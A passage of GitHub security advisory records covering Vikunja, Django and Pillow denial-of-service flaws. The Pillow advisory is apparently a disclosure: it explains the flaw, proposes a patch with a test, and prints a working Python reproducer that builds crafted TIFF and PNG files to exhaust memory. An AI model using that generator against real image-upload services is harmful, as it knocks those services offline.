(@7thParkk)](https://github.com/7thParkk)\n\nWe are happy to answer questions, provide additional verification details, or validate a candidate patch.",
"id": "GHSA-wq92-8x3r-fm38",
"modified": "2026-10-09T20:53:24Z",
"published": "2026-10-09T20:53:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-wq92-8x3r-fm38"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91970"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/pull/3688"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-vikunja/vikunja"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vikunja-before-2.6.0-resource-exhaustion-via-planka-migration"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Vikunja: Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API"
}
GHSA-WQFG-M96J-85VM
Vulnerability from github – Published: 2025-04-02 15:31 – Updated: 2025-04-09 20:02An issue was discovered in Django 5.1 before 5.1.8 and 5.0 before 5.0.14. The NFKC normalization is slow on Windows. As a consequence, django.contrib.auth.views.LoginView, django.contrib.auth.views.LogoutView, and django.views.i18n.set_language are subject to a potential denial-of-service attack via certain inputs with a very large number of Unicode characters.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Django"
},
"ranges": [
{
"events": [
{
"introduced": "5.0"
},
{
"fixed": "5.0.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "Django"
},
"ranges": [
{
"events": [
{
"introduced": "5.1"
},
{
"fixed": "5.1.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-27556"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-02T20:11:40Z",
"nvd_published_at": "2025-04-02T13:15:44Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Django 5.1 before 5.1.8 and 5.0 before 5.0.14. The NFKC normalization is slow on Windows. As a consequence, django.contrib.auth.views.LoginView, django.contrib.auth.views.LogoutView, and django.views.i18n.set_language are subject to a potential denial-of-service attack via certain inputs with a very large number of Unicode characters.",
"id": "GHSA-wqfg-m96j-85vm",
"modified": "2025-04-09T20:02:06Z",
"published": "2025-04-02T15:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27556"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/2cb311f7b069723027fb5def4044d1816d7d2afd"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/39e2297210d9d2938c75fc911d45f0e863dc4821"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/8c6871b097b6c49d2a782c0d80d908bcbe2116f1"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/edc2716d01a6fdd84b173c02031695231bcee1f8"
},
{
"type": "WEB",
"url": "https://docs.djangoproject.com/en/dev/releases/security"
},
{
"type": "PACKAGE",
"url": "https://github.com/django/django"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2025-14.yaml"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/django-announce"
},
{
"type": "WEB",
"url": "https://www.djangoproject.com/weblog/2025/apr/02/security-releases"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/04/02/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Django Potential Denial of Service (DoS) on Windows "
}
GHSA-WQGW-9XFH-QF2G
Vulnerability from github – Published: 2026-11-12 23:35 – Updated: 2026-11-12 23:35============================================================================
ANT-2026-D7STJUWL [medium] CWE-770 dos
Memory DoS in TIFF and EXIF IFD parsing via overlapping tag data
Location: src/PIL/TiffImagePlugin.py:927 in ImageFileDirectory_v2.load()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
A small, crafted image file can make Pillow use thousands of times its own size in memory while the file is only being opened, which lets anyone who can submit an image crash or stall the process handling it. A 144 KB TIFF makes Image.open() return normally while holding 1.6 GiB of memory. The largest such standard TIFF, about 786 KB, asks for roughly 48 GiB, which in practice gets the worker killed by the operating system. The file declares a 1×1 image, so the decompression-bomb check never triggers and no warning is raised. There is no memory corruption; the impact is denial of service.
The bug is in ImageFileDirectory_v2.load() in src/PIL/TiffImagePlugin.py (around line 927). For every directory entry whose value is stored elsewhere in the file, it reads that value into a new bytes object with ImageFile._safe_read(fp, count * unit_size) and keeps it in _tagdata. _safe_read() only checks that the bytes exist. Nothing limits the total read across entries, and nothing stops every entry from pointing at the same bytes. An attacker can therefore give each of N distinct private tags an offset and count that covers the whole file, at a cost of 12 bytes per entry. Memory grows as N × file size, which is quadratic in the file size, and BigTIFF removes the 65,535-entry ceiling.
The same loop parses EXIF data, so the problem reaches beyond TIFF:
- A 66 KB JPEG APP1 segment costs about 340 MiB inside
Image.open()itself, via_read_dpi_from_exif(). - A 96 KB PNG
eXIfchunk costs 754 MiB ongetexif()orImageOps.exif_transpose(). - WebP EXIF and MPO reach the same code.
The attached reproducer builds a 72 KB TIFF and a 72 KB PNG. Using only Image.open() and getexif(), each causes 412 MiB of tag data to be retained, about 6,000 times the file size. The loop dates to the original PIL 1.1.7 import, so every Pillow release since 1.0 is affected.
Details
TiffImagePlugin.ImageFileDirectory_v2.load() reads the out-of-line value of every IFD entry into its own bytes object and keeps it in self._tagdata. Nothing bounds the sum of those reads, and nothing prevents every entry from pointing at the same region of the file. An IFD with N entries whose (offset, count) each cover the whole file therefore costs N × filesize bytes of memory, while the IFD itself costs only 12 bytes per entry. This one loop is the IFD parser for TIFF frames and for Image.Exif alike, so it is reachable from Image.open() on a TIFF or JPEG and from getexif() / ImageOps.exif_transpose() on PNG, JPEG, WebP and MPO.
Observed on the stock build at this commit: a valid 144,110-byte 1×1 greyscale TIFF with 12,000 such entries makes Image.open() return normally (no exception, no warning, 1 declared pixel so MAX_IMAGE_PIXELS is irrelevant) after 1.5 s, with the process RSS grown from 15 MiB to 1,671 MiB and im.tag_v2 holding 1,649 MiB of tag data for as long as the image object lives. The same IFD placed in the eXIf chunk of a 96 KB PNG makes im.getexif() retain 754 MiB. A 65,870-byte JPEG whose APP1 Exif segment is such an IFD (5,400 entries × 65,519 bytes) allocates ~340 MiB inside Image.open() itself, with no further call.
# src/PIL/TiffImagePlugin.py:902-946 (ImageFileDirectory_v2.load)
for i in range(tag_count):
tag, typ, count, data = ( … self._unpack("HHL4s", self._ensure_read(fp, 12)))
…
size = count * unit_size # 918: attacker-chosen
if size > (8 if self._bigtiff else 4):
here = fp.tell()
(offset,) = self._unpack("Q" if self._bigtiff else "L", data)
…
fp.seek(offset) # 926: attacker-chosen
data = ImageFile._safe_read(fp, size) # 927: new bytes object of `size`
fp.seek(here)
…
self._tagdata[tag] = data # 945: kept
self.tagtype[tag] = typ
ImageFile._safe_read() only guarantees that size bytes are actually present in the stream (it reads in SAFEBLOCK chunks and raises on truncation); it is a guard against allocating for data that does not exist, not against reading the same existing data many times. For a well-formed file each entry points at its own disjoint value, so the total read is at most the file size. For the crafted file every one of the N entries has a distinct tag number (so none overwrites another in _tagdata), type BYTE, count = filesize - 1 and offset = 1; each iteration allocates and fills a fresh filesize - 1-byte object and stores it. load() does not care whether the tag number is known or whether the type makes sense for it; any 16-bit tag number and any type in _load_dispatch is accepted. Memory is N × filesize, and since filesize ≈ 12 N, it is quadratic in the file size: 12,000 entries / 144 KB → 1.6 GiB (measured); the classic-TIFF maximum of 65,535 entries / 786 KB → ~48 GiB; BigTIFF (tag_count is a Q) has no 16-bit entry limit at all.
Reachability:
- TIFF:
TiffImageFile._open()(TiffImagePlugin.py:1187) →self._seek(0)(:1210) →self.tag_v2.load(self.fp)(:1258, and again at:1271). This runs insideImage.open(), beforeload()and before any size check (_decompression_bomb_checkonly looks atwidth × heightand is satisfied by the 1×1 image), and the resulting directory stays referenced asim.tag_v2._seek()parses the IFD twice, butreset()drops the first copy, so the peak does not double; it is paid again for every frame onseek()/n_frames. - EXIF in other formats:
Image.Exif.load()/load_from_fp()/_get_ifd_dict()(Image.py:4146-4196,:4119-4133) wrap the sameImageFileDirectory_v2.load()around the EXIF blob.PngImagePlugin.chunk_eXIf(PngImagePlugin.py:697) stores the whole chunk asinfo["exif"],JpegImagePluginconcatenates APP1Exifsegments intoinfo["exif"](JpegImagePlugin.py:114-117), and WebP exposes its EXIF chunk the same way;im.getexif(),ImageOps.exif_transpose()and_getexif()then parse it and keep the values inim._exif. For JPEG no explicit call is needed:JpegImageFile._open()ends withself._read_dpi_from_exif()(JpegImagePlugin.py:413), which callsgetexif()whenever no JFIF DPI is present, so the APP1 IFD is parsed duringImage.open(). Note that an EXIF blob is parsed into several IFDs (main, EXIF, GPS, Interop via_get_ifd_dict), each through its ownload()call.
The only failure path in load() is except OSError → warning; running out of memory is not an OSError, so on Linux the realistic outcome for a larger N is the kernel OOM killer terminating the process rather than a Python exception.
The loop predates Pillow: it came in with the PIL 1.1.7 import in 9a640e315715 ("Forking PIL", 2010-07-30) and was carried over unchanged into ImageFileDirectory_v2, so every release since 1.0 is affected. The per-tag _safe_read bounding added in the CVE-2019-16865 era does not address the sum.
Impact
Any service that calls Image.open() on an uploaded TIFF or JPEG — or getexif() / ImageOps.exif_transpose() on an uploaded PNG, JPEG or WebP, which thumbnailers routinely do to honour orientation — can be made to allocate and retain memory roughly entries × filesize, i.e. thousands of times the upload size, from a file of a few hundred KB that declares a 1×1 image and passes the decompression-bomb check. A ~800 KB TIFF requests ~48 GiB; in practice the worker (or its container) is OOM-killed within seconds, taking down all requests it was serving, and repeated uploads keep it down. No pixel decoding, load(), or further API call is required for the TIFF and JPEG cases, MAX_IMAGE_PIXELS does not apply, and no DecompressionBomb* warning gives the application a chance to refuse the file. There is no memory corruption; the effect is denial of service of the process handling the input.
This is the same class as CVE-2021-27921/27922/27923 (BLP/ICNS/ICO "arbitrarily large memory allocations" from unchecked reported sizes, fixed in 8.1.2) and CVE-2021-28675 (PSD layer count not checked against the data size, DoS on Image.open() prior to load()), here in the TIFF/EXIF directory parser shared by several formats.
Reproducing
repro is a single Python script that runs against the stock Pillow in /src; nothing is compiled. It needs about 1 GB of free RAM (it caps its own address space at 4 GiB so that a larger run ends in MemoryError rather than the OOM killer).
Input. aliased_ifd() builds, in memory, a little-endian classic TIFF: an 8-byte header, one IFD, nothing else. Every crafted entry is a private tag (1000 upwards) of type BYTE with offset = 1 and count = file size - 1, i.e. each claims the whole file body as its value. Each costs 12 bytes in the file but a full file-sized read in ImageFileDirectory_v2.load().
TIFF path. The first file adds 8 ordinary tags (ImageWidth = ImageLength = 1, BitsPerSample = 8, no compression, BlackIsZero, one 1-byte strip pointing at a header byte) so that Pillow accepts it as a 1×1 L image, plus 6,000 aliased tags (72,110 bytes). Because the image is 1×1, MAX_IMAGE_PIXELS never comes into play. The script calls Image.open() on it and nothing else: no load(), no pixel access.
EXIF path. The same 6,000-entry IFD (without the image tags) is passed as exif= when saving a 1×1 PNG, so it lands in an eXIf chunk; the script opens that PNG and calls im.getexif(), which is what ImageOps.exif_transpose() calls.
Check. For each path the script reads VmRSS from /proc/self/status before and after, and adds up len() over the resulting directory's _tagdata. In a well-formed IFD each entry points at its own bytes, so the tag data can never be larger than the file. The script prints BUG if both the TIFF's im.tag_v2 and the PNG's EXIF directory hold more than 2000× the size of their file, otherwise OK. On this commit each holds 412 MiB (~6000× the file) and RSS grows by about as much for each.
The memory cost is entries × file size, and the file size itself grows at 12 bytes per entry, so the cost is quadratic: doubling to 12,000 entries (144 KB) gives the 1.6 GiB quoted above, and the classic-TIFF maximum of 65,535 entries (~786 KB file) comes to ~48 GiB. A JPEG APP1 segment or a WebP EXIF chunk carrying the same IFD behaves like the PNG case (for JPEG, already during Image.open()).
Suggested fix
The attached patch bounds the out-of-line tag data a single ImageFileDirectory_v2.load() call may pull in by the length of the stream it reads from. The values of a well-formed IFD do not overlap, so their total can never exceed the file; only aliased entries can push past it. load() now measures the stream once on entry (fp.seek(0, io.SEEK_END), then back to self._offset; load() already requires a seekable fp, since both the TIFF plugin and Exif do), keeps a running total_size of out-of-line values, and, before the fp.seek(offset) / _safe_read() at TiffImagePlugin.py:926-927, warns "Tag data larger than file. Skipping tag …" and continues for any entry that would take the total past the file size, in the same warn-and-skip idiom as the existing "Tag offset too large" check. No fixed constant is introduced and no valid file changes behaviour, including TIFFs with very large Photoshop/ImageSourceData (tag 37724) payloads, which routinely exceed 64 MB. Because Image.Exif, the PNG/JPEG/WebP EXIF paths and MPO all go through this one method, they are covered too. The patch adds test_tag_data_larger_than_file to Tests/test_file_tiff_metadata.py, next to test_tag_offset. With it applied, both paths in the reproducer drop to 1× the file size. One visible side effect: a single oversize entry now skips that tag with this warning instead of aborting the rest of the IFD via the OSError path.
A fixed module-level cap in the style of PngImagePlugin.MAX_TEXT_MEMORY (e.g. a 64 MiB TiffImagePlugin.MAX_IFD_DATA) would be the weaker alternative on its own: a 140 KB file could still retain ~63 MiB per IFD — and a JPEG's EXIF is parsed into several IFDs (main, EXIF, GPS, Interop), so a 66 KB APP1 segment could still request roughly 1000× its size — and legitimate TIFFs with more than 64 MiB of tag data would lose those tags with a warning. It could still be added on top of the stream-length check as a user-adjustable knob.
An alternative that removes the amplification entirely is to store (offset, size) in _tagdata and read lazily in __getitem__, which is what the class docstring already describes ("we don't decode tags unless they're asked for"); that is a larger change because _tagdata is shared with ImageFileDirectory_v1 (from_v2/to_v2) and exposed as the legacy tagdata property, and lazy reads would need the file object to still be open when a tag is first accessed.
The patch
Skip IFD entries once the total out-of-line tag data read by ImageFileDirectory_v2.load() would exceed the size of the stream
Applies to src/PIL/TiffImagePlugin.py at the commit above.
diff --git a/Tests/test_file_tiff_metadata.py b/Tests/test_file_tiff_metadata.py
index 7b35a0196..ccf923128 100644
--- a/Tests/test_file_tiff_metadata.py
+++ b/Tests/test_file_tiff_metadata.py
@@ -500,6 +500,21 @@ def test_tag_offset() -> None:
ifd.load(f)
+def test_tag_data_larger_than_file() -> None:
+ ifd = TiffImagePlugin.ImageFileDirectory_v2()
+
+ # Two BYTE tags that both claim the whole 30 byte IFD as their value
+ tag_count = struct.pack("<H", 2)
+ tags = struct.pack("<HHLL", 0, 1, 30, 0) + struct.pack("<HHLL", 1, 1, 30, 0)
+ next_offset = struct.pack("<L", 0)
+
+ f = io.BytesIO(tag_count + tags + next_offset)
+ with pytest.warns(UserWarning, match="Tag data larger than file"):
+ ifd.load(f)
+ assert len(ifd[0]) == 30
+ assert 1 not in ifd
+
+
def test_tag_group_data() -> None:
base_ifd = TiffImagePlugin.ImageFileDirectory_v2()
interop_ifd = TiffImagePlugin.ImageFileDirectory_v2(group=40965)
diff --git a/src/PIL/TiffImagePlugin.py b/src/PIL/TiffImagePlugin.py
index 42c1cc96c..c9d506933 100644
--- a/src/PIL/TiffImagePlugin.py
+++ b/src/PIL/TiffImagePlugin.py
@@ -892,6 +892,9 @@ class ImageFileDirectory_v2(_IFDv2Base):
def load(self, fp: IO[bytes]) -> None:
self.reset()
self._offset = fp.tell()
+ fp.seek(0, io.SEEK_END)
+ file_size = fp.tell()
+ fp.seek(self._offset)
try:
tag_count = (
@@ -899,6 +902,7 @@ class ImageFileDirectory_v2(_IFDv2Base):
if self._bigtiff
else self._unpack("H", self._ensure_read(fp, 2))
)[0]
+ total_size = 0
for i in range(tag_count):
tag, typ, count, data = (
self._unpack("HHQ8s", self._ensure_read(fp, 20))
@@ -923,6 +927,16 @@ class ImageFileDirectory_v2(_IFDv2Base):
if offset >= 2**63:
warnings.warn("Tag offset too large")
continue
+ # The values of a well-formed IFD do not overlap, so in
+ # total they cannot be larger than the file they are read
+ # from. Do not let entries that alias the same bytes load
+ # many copies of it.
+ total_size += size
+ if total_size > file_size:
+ warnings.warn(
+ f"Tag data larger than file. Skipping tag {tag}"
+ )
+ continue
fp.seek(offset)
data = ImageFile._safe_read(fp, size)
fp.seek(here)
The reproducer
Reproducer —repro, 2,254 bytes (click to open)
Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.
#!/usr/bin/env python3
# ImageFileDirectory_v2.load(): N IFD entries that all alias the file body make
# Image.open() (TIFF) and getexif() (PNG eXIf etc.) retain ~N copies of the file.
# Pure Python, stock Pillow in /src. Needs ~1 GB RAM, runs in ~1 s.
import io, struct, resource
from PIL import Image
resource.setrlimit(resource.RLIMIT_AS, (4 << 30, 4 << 30)) # MemoryError, not OOM-killer
def aliased_ifd(n_alias, real=()):
"""Classic LE TIFF: header + one IFD. n_alias BYTE tags each cover the whole file."""
n = len(real) + n_alias
size = 8 + 2 + 12 * n + 4
ents = {t: struct.pack("<HHLL", t, typ, 1, v) for t, (typ, v) in dict(real).items()}
for t in range(1000, 1000 + n_alias):
ents[t] = struct.pack("<HHLL", t, 1, size - 1, 1) # BYTE[size-1] @ offset 1
blob = b"II*\0" + struct.pack("<LH", 8, n) + b"".join(ents[t] for t in sorted(ents)) + b"\0" * 4
assert len(blob) == size
return blob
def rss():
return next(int(l.split()[1]) << 10 for l in open("/proc/self/status") if l.startswith("VmRSS"))
# 1) TIFF: 1x1 L image (pixel = a header byte) + 6000 aliased private tags -> Image.open() only
real = {256: (3, 1), 257: (3, 1), 258: (3, 8), 259: (3, 1), 262: (3, 1),
273: (4, 8), 278: (3, 1), 279: (4, 1)}
tif = aliased_ifd(6000, real)
r0 = rss(); im = Image.open(io.BytesIO(tif)); r1 = rss()
held_t = sum(len(v) for v in im.tag_v2._tagdata.values())
print(f"TIFF {len(tif)} B, {im.size} {im.mode}: Image.open() keeps {held_t >> 20} MiB of tag data "
f"({held_t // len(tif)}x file); RSS {r0 >> 20} -> {r1 >> 20} MiB")
# 2) Same IFD as EXIF in a 1x1 PNG -> im.getexif() (what ImageOps.exif_transpose calls)
exif = aliased_ifd(6000)
buf = io.BytesIO(); Image.new("L", (1, 1)).save(buf, "PNG", exif=exif); png = buf.getvalue()
r0 = rss(); im2 = Image.open(io.BytesIO(png)); e = im2.getexif(); r1 = rss()
held_e = sum(len(v) for v in e._info._tagdata.values()) if e._info is not None else 0
print(f"PNG {len(png)} B: getexif() keeps {held_e >> 20} MiB ({held_e // len(png)}x file); "
f"RSS {r0 >> 20} -> {r1 >> 20} MiB")
# A well-formed IFD's values cannot exceed the stream they come from (1x).
print("BUG" if held_t > 2000 * len(tif) and held_e > 2000 * len(png) else "OK")
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.3.0"
},
"package": {
"ecosystem": "PyPI",
"name": "Pillow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-128066"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-12T23:35:39Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "```\n============================================================================\nANT-2026-D7STJUWL [medium] CWE-770 dos\nMemory DoS in TIFF and EXIF IFD parsing via overlapping tag data\nLocation: src/PIL/TiffImagePlugin.py:927 in ImageFileDirectory_v2.load()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA small, crafted image file can make Pillow use thousands of times its own size in memory while the file is only being opened, which lets anyone who can submit an image crash or stall the process handling it. A 144 KB TIFF makes `Image.open()` return normally while holding 1.6 GiB of memory. The largest such standard TIFF, about 786 KB, asks for roughly 48 GiB, which in practice gets the worker killed by the operating system. The file declares a 1\u00d71 image, so the decompression-bomb check never triggers and no warning is raised. There is no memory corruption; the impact is denial of service.\n\nThe bug is in `ImageFileDirectory_v2.load()` in `src/PIL/TiffImagePlugin.py` (around line 927). For every directory entry whose value is stored elsewhere in the file, it reads that value into a new `bytes` object with `ImageFile._safe_read(fp, count * unit_size)` and keeps it in `_tagdata`. `_safe_read()` only checks that the bytes exist. Nothing limits the total read across entries, and nothing stops every entry from pointing at the same bytes. An attacker can therefore give each of N distinct private tags an offset and count that covers the whole file, at a cost of 12 bytes per entry. Memory grows as N \u00d7 file size, which is quadratic in the file size, and BigTIFF removes the 65,535-entry ceiling.\n\nThe same loop parses EXIF data, so the problem reaches beyond TIFF:\n\n* A 66 KB JPEG APP1 segment costs about 340 MiB inside `Image.open()` itself, via `_read_dpi_from_exif()`.\n* A 96 KB PNG `eXIf` chunk costs 754 MiB on `getexif()` or `ImageOps.exif_transpose()`.\n* WebP EXIF and MPO reach the same code.\n\nThe attached reproducer builds a 72 KB TIFF and a 72 KB PNG. Using only `Image.open()` and `getexif()`, each causes 412 MiB of tag data to be retained, about 6,000 times the file size. The loop dates to the original PIL 1.1.7 import, so every Pillow release since 1.0 is affected.\n\n## Details\n\n`TiffImagePlugin.ImageFileDirectory_v2.load()` reads the out-of-line value of every IFD entry into its own `bytes` object and keeps it in `self._tagdata`. Nothing bounds the sum of those reads, and nothing prevents every entry from pointing at the same region of the file. An IFD with N entries whose `(offset, count)` each cover the whole file therefore costs N \u00d7 filesize bytes of memory, while the IFD itself costs only 12 bytes per entry. This one loop is the IFD parser for TIFF frames and for `Image.Exif` alike, so it is reachable from `Image.open()` on a TIFF or JPEG and from `getexif()` / `ImageOps.exif_transpose()` on PNG, JPEG, WebP and MPO.\n\nObserved on the stock build at this commit: a valid 144,110-byte 1\u00d71 greyscale TIFF with 12,000 such entries makes `Image.open()` return normally (no exception, no warning, 1 declared pixel so `MAX_IMAGE_PIXELS` is irrelevant) after 1.5 s, with the process RSS grown from 15 MiB to 1,671 MiB and `im.tag_v2` holding 1,649 MiB of tag data for as long as the image object lives. The same IFD placed in the `eXIf` chunk of a 96 KB PNG makes `im.getexif()` retain 754 MiB. A 65,870-byte JPEG whose APP1 `Exif` segment is such an IFD (5,400 entries \u00d7 65,519 bytes) allocates ~340 MiB inside `Image.open()` itself, with no further call.\n\n```python\n# src/PIL/TiffImagePlugin.py:902-946 (ImageFileDirectory_v2.load)\nfor i in range(tag_count):\n tag, typ, count, data = ( \u2026 self._unpack(\"HHL4s\", self._ensure_read(fp, 12)))\n \u2026\n size = count * unit_size # 918: attacker-chosen\n if size \u003e (8 if self._bigtiff else 4):\n here = fp.tell()\n (offset,) = self._unpack(\"Q\" if self._bigtiff else \"L\", data)\n \u2026\n fp.seek(offset) # 926: attacker-chosen\n data = ImageFile._safe_read(fp, size) # 927: new bytes object of `size`\n fp.seek(here)\n \u2026\n self._tagdata[tag] = data # 945: kept\n self.tagtype[tag] = typ\n```\n\n`ImageFile._safe_read()` only guarantees that `size` bytes are actually present in the stream (it reads in `SAFEBLOCK` chunks and raises on truncation); it is a guard against allocating for data that does not exist, not against reading the same existing data many times. For a well-formed file each entry points at its own disjoint value, so the total read is at most the file size. For the crafted file every one of the N entries has a distinct tag number (so none overwrites another in `_tagdata`), type BYTE, `count = filesize - 1` and `offset = 1`; each iteration allocates and fills a fresh `filesize - 1`-byte object and stores it. `load()` does not care whether the tag number is known or whether the type makes sense for it; any 16-bit tag number and any type in `_load_dispatch` is accepted. Memory is `N \u00d7 filesize`, and since `filesize \u2248 12 N`, it is quadratic in the file size: 12,000 entries / 144 KB \u2192 1.6 GiB (measured); the classic-TIFF maximum of 65,535 entries / 786 KB \u2192 ~48 GiB; BigTIFF (`tag_count` is a `Q`) has no 16-bit entry limit at all.\n\nReachability:\n\n- TIFF: `TiffImageFile._open()` (`TiffImagePlugin.py:1187`) \u2192 `self._seek(0)` (`:1210`) \u2192 `self.tag_v2.load(self.fp)` (`:1258`, and again at `:1271`). This runs inside `Image.open()`, before `load()` and before any size check (`_decompression_bomb_check` only looks at `width \u00d7 height` and is satisfied by the 1\u00d71 image), and the resulting directory stays referenced as `im.tag_v2`. `_seek()` parses the IFD twice, but `reset()` drops the first copy, so the peak does not double; it is paid again for every frame on `seek()`/`n_frames`.\n- EXIF in other formats: `Image.Exif.load()` / `load_from_fp()` / `_get_ifd_dict()` (`Image.py:4146-4196`, `:4119-4133`) wrap the same `ImageFileDirectory_v2.load()` around the EXIF blob. `PngImagePlugin.chunk_eXIf` (`PngImagePlugin.py:697`) stores the whole chunk as `info[\"exif\"]`, `JpegImagePlugin` concatenates APP1 `Exif` segments into `info[\"exif\"]` (`JpegImagePlugin.py:114-117`), and WebP exposes its EXIF chunk the same way; `im.getexif()`, `ImageOps.exif_transpose()` and `_getexif()` then parse it and keep the values in `im._exif`. For JPEG no explicit call is needed: `JpegImageFile._open()` ends with `self._read_dpi_from_exif()` (`JpegImagePlugin.py:413`), which calls `getexif()` whenever no JFIF DPI is present, so the APP1 IFD is parsed during `Image.open()`. Note that an EXIF blob is parsed into several IFDs (main, EXIF, GPS, Interop via `_get_ifd_dict`), each through its own `load()` call.\n\nThe only failure path in `load()` is `except OSError` \u2192 warning; running out of memory is not an `OSError`, so on Linux the realistic outcome for a larger N is the kernel OOM killer terminating the process rather than a Python exception.\n\nThe loop predates Pillow: it came in with the PIL 1.1.7 import in `9a640e315715` (\"Forking PIL\", 2010-07-30) and was carried over unchanged into `ImageFileDirectory_v2`, so every release since 1.0 is affected. The per-tag `_safe_read` bounding added in the CVE-2019-16865 era does not address the sum.\n\n## Impact\n\nAny service that calls `Image.open()` on an uploaded TIFF or JPEG \u2014 or `getexif()` / `ImageOps.exif_transpose()` on an uploaded PNG, JPEG or WebP, which thumbnailers routinely do to honour orientation \u2014 can be made to allocate and retain memory roughly `entries \u00d7 filesize`, i.e. thousands of times the upload size, from a file of a few hundred KB that declares a 1\u00d71 image and passes the decompression-bomb check. A ~800 KB TIFF requests ~48 GiB; in practice the worker (or its container) is OOM-killed within seconds, taking down all requests it was serving, and repeated uploads keep it down. No pixel decoding, `load()`, or further API call is required for the TIFF and JPEG cases, `MAX_IMAGE_PIXELS` does not apply, and no `DecompressionBomb*` warning gives the application a chance to refuse the file. There is no memory corruption; the effect is denial of service of the process handling the input.\n\nThis is the same class as CVE-2021-27921/27922/27923 (BLP/ICNS/ICO \"arbitrarily large memory allocations\" from unchecked reported sizes, fixed in 8.1.2) and CVE-2021-28675 (PSD layer count not checked against the data size, DoS on `Image.open()` prior to `load()`), here in the TIFF/EXIF directory parser shared by several formats.\n\n## Reproducing\n\n`repro` is a single Python script that runs against the stock Pillow in `/src`; nothing is compiled. It needs about 1 GB of free RAM (it caps its own address space at 4 GiB so that a larger run ends in `MemoryError` rather than the OOM killer).\n\n**Input.** `aliased_ifd()` builds, in memory, a little-endian classic TIFF: an 8-byte header, one IFD, nothing else. Every crafted entry is a private tag (1000 upwards) of type BYTE with `offset = 1` and `count = file size - 1`, i.e. each claims the whole file body as its value. Each costs 12 bytes in the file but a full file-sized read in `ImageFileDirectory_v2.load()`.\n\n**TIFF path.** The first file adds 8 ordinary tags (ImageWidth = ImageLength = 1, BitsPerSample = 8, no compression, BlackIsZero, one 1-byte strip pointing at a header byte) so that Pillow accepts it as a 1\u00d71 `L` image, plus 6,000 aliased tags (72,110 bytes). Because the image is 1\u00d71, `MAX_IMAGE_PIXELS` never comes into play. The script calls `Image.open()` on it and nothing else: no `load()`, no pixel access.\n\n**EXIF path.** The same 6,000-entry IFD (without the image tags) is passed as `exif=` when saving a 1\u00d71 PNG, so it lands in an `eXIf` chunk; the script opens that PNG and calls `im.getexif()`, which is what `ImageOps.exif_transpose()` calls.\n\n**Check.** For each path the script reads `VmRSS` from `/proc/self/status` before and after, and adds up `len()` over the resulting directory\u0027s `_tagdata`. In a well-formed IFD each entry points at its own bytes, so the tag data can never be larger than the file. The script prints `BUG` if both the TIFF\u0027s `im.tag_v2` and the PNG\u0027s EXIF directory hold more than 2000\u00d7 the size of their file, otherwise `OK`. On this commit each holds 412 MiB (~6000\u00d7 the file) and RSS grows by about as much for each.\n\nThe memory cost is entries \u00d7 file size, and the file size itself grows at 12 bytes per entry, so the cost is quadratic: doubling to 12,000 entries (144 KB) gives the 1.6 GiB quoted above, and the classic-TIFF maximum of 65,535 entries (~786 KB file) comes to ~48 GiB. A JPEG APP1 segment or a WebP EXIF chunk carrying the same IFD behaves like the PNG case (for JPEG, already during `Image.open()`).\n\n## Suggested fix\n\nThe attached patch bounds the out-of-line tag data a single `ImageFileDirectory_v2.load()` call may pull in by the length of the stream it reads from. The values of a well-formed IFD do not overlap, so their total can never exceed the file; only aliased entries can push past it. `load()` now measures the stream once on entry (`fp.seek(0, io.SEEK_END)`, then back to `self._offset`; `load()` already requires a seekable `fp`, since both the TIFF plugin and `Exif` do), keeps a running `total_size` of out-of-line values, and, before the `fp.seek(offset)` / `_safe_read()` at `TiffImagePlugin.py:926-927`, warns `\"Tag data larger than file. Skipping tag \u2026\"` and `continue`s for any entry that would take the total past the file size, in the same warn-and-skip idiom as the existing \"Tag offset too large\" check. No fixed constant is introduced and no valid file changes behaviour, including TIFFs with very large Photoshop/ImageSourceData (tag 37724) payloads, which routinely exceed 64 MB. Because `Image.Exif`, the PNG/JPEG/WebP EXIF paths and MPO all go through this one method, they are covered too. The patch adds `test_tag_data_larger_than_file` to `Tests/test_file_tiff_metadata.py`, next to `test_tag_offset`. With it applied, both paths in the reproducer drop to 1\u00d7 the file size. One visible side effect: a single oversize entry now skips that tag with this warning instead of aborting the rest of the IFD via the `OSError` path.\n\nA fixed module-level cap in the style of 